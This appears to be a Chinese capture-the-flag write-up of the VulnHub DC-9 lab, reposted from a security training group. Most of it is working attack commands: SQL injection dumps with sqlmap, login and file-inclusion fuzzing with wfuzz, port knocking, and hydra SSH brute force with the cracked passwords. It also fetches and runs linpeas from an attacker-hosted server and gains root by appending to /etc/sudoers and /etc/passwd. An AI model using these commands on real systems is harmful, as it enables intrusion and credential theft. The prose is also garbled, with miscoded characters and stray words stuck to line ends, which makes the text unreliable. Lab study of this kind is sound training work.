【vulnhub】靶機-【DC系列】DC9(附靶機)

 

本文做者:大方子(Ms08067實驗室核心成員)php

主機信息

Kali:192.168.56.113python

DC9:192.168.56.112git

實驗過程

先進行主機探測,查找靶機的IP地址:github

arp‐scan ‐‐interface eth1 192.168.56.1/24sql

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用nmap對主機進行排查肯定,DC9的IP地址爲192.168.56.112瀏覽器

能夠看到DC開放了80端口以及22端口(被過濾)安全

nmap ‐sC ‐sV ‐oA dc‐9 192.168.56.112bash

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

因此首先從80端口入手,每一個網頁都點開看看。看到這個搜索頁面感受能夠嘗試下SQL注入cookie

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

這裏咱們用Burp進行嘗試,發現的確存在注入點網絡

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

把請求信息導出爲dc9.sqlmap,接下來用SQLmap進行遍歷

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後接下來用sqlmap導出數據

python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs 
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐‐tables
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐‐columns
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C
username,password ‐‐dump
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
python3 sqlmap.py ‐r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

這裏SQLmap直接幫我獲得admin的密碼明文(transorbital1)

管理員帳號:admin
管理員密碼:transorbital1

附在線破解網站:https://hashes.com/en/decrypt/hash

咱們將全部的帳號,密碼進行整理,分別整理到username,password(這裏須要注意的是,只要管理員 的密碼是須要解密的,其餘用戶的密碼是明文)

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

用wfuzz進行批量登錄查看頁面反應,只有管理員的帳號是302 (ps:意料之中)

‐c:帶顏色輸出 ‐d:post參數 ‐z:payload ‐m:模式 zip迭代 字典和佔位符一一對應進行遍歷
wfuzz ‐c ‐z file,username ‐z file,password ‐m zip ‐d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後咱們用管理帳號進行登錄

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

能夠看到頁面下面出現File does not exist的提示,感受頗有可能就是LFI(本地文件包含)

可是此時咱們並不知道參數是多少,這裏一樣用wfuzz嘗試進行遍歷(注意這裏用把登錄以後的 cookies也要寫上,不然網頁會提示你要登錄)

查看cookies的話能夠瀏覽器直接查看,也可讓wfuzz把請求發給burp進行查看

#‐p:添加代理
wfuzz ‐p 127.0.0.1:8080:HTTP

字典地址:https://github.com/danielmiessler/SecLists

‐b:cookies ‐hw:隱藏指定字節數的結果 ‐w 字典文件
wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=index.php

wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
/usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

這裏咱們就找到參數file

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後咱們經過/proc/sched_debug 來查看Linux系統中任務的調度狀況

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../proc/sched_debug
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

整理查詢發現靶機上運行這knockd

關於knockd的介紹

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

那麼咱們讀取下knockd的配置文件

http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[options] 
        UseSyslog
[openSSH] 
        sequence = 7469,8475,9842 
        seq_timeout = 25 
        command = /sbin/iptables ‐I INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn
[closeSSH] 
        sequence = 9842,8475,7469 
        seq_timeout = 25 
        command = /sbin/iptables ‐D INPUT ‐s %IP% ‐p tcp ‐‐dport 22 ‐j ACCEPT 
        tcpflags = syn

這裏提供2種敲擊方法:nc、nmap

for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done 
for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

此時SSH就能夠正常鏈接,接下來咱們用hydra來進行爆破,用戶名和密碼就是咱們先前SQL注入得到的

hydra ‐L username ‐P password ssh://192.168.56.112
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

而後咱們對這幾個帳號都嘗試進行登錄

ssh janitor@192.168.56.112
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

只有janitor的家目錄存在一個名爲.secrets-for-putin的文件夾,而且在其中又獲得一些密碼

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

咱們把這些密碼加入到password文件中

同時咱們在janitor使用LinPEAS來探測下可利用的點

下載地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

如今Kali上開啓HTTP服務

python3 ‐m http.server 80
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後在靶機上進行下載

wget http://192.168.56.114/linpeas.sh
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後運行以後,感受並無什麼特別的點

bash linpeas.sh
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

再使用hydra使用剛剛更新過的password文件進行SSH爆破,能夠看到多了一個fredf用戶

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=
[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 
[22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee 
[22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd 
[22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

而後登錄到fredf帳號,查看下fredf的sudo權限,能夠看到fredf能夠不用密碼以root權限執 行/opt/devstuff/dist/test/test的文件

sudo ‐l
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

/opt/devstuff/dist/test/test是一個可執行文件,執行後出現下面的提示,應該是一個python腳本轉化爲的可執行的文件

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

能夠在上級目錄找到同名的 test.py 而後cat下內容,應該是由這個文件編譯過來的

腳本的做用就是將第一個文件的內容附加到另外一個文件裏面去

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

這樣提權就變得很是簡單,這裏提供2個提權的思路

提權思路1:往/etc/sudoers裏面添加內容,讓用戶能夠以root的權限去執行命令

建立/dev/shm/sudoerAdd,內容以下

joeyt ALL=(ALL) ALL

而後執行

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後登錄joeyt,而後切換成root身份,get flag

提權思路2:添加一個新的用戶到/etc/passwd,而後新添加的用戶登錄

這裏用Openssl來對密碼進行加密,在進行編輯輸入到/tmp/new-passwd

openssl passwd ‐1 ‐salt 123456 dfz
dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

而後把/tmp/new-passwd寫入到/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

靶機下載地址:http://www.five86.com/downloads/DC-9.zip

轉載請聯繫做者並註明出處!

Ms08067安全實驗室專一於網絡安全知識的普及和培訓。團隊已出版《Web安全***:***測試實戰指南》,《內網安全***:***測試實戰指南》,《Python安全***:***測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公衆號按期分享關於CTF靶場、內網***、APT方面技術乾貨,從零開始、以實戰落地爲主,致力於作一個實用的乾貨分享型公衆號。
官方網站:https://www.ms08067.com/

相關文章
相關標籤/搜索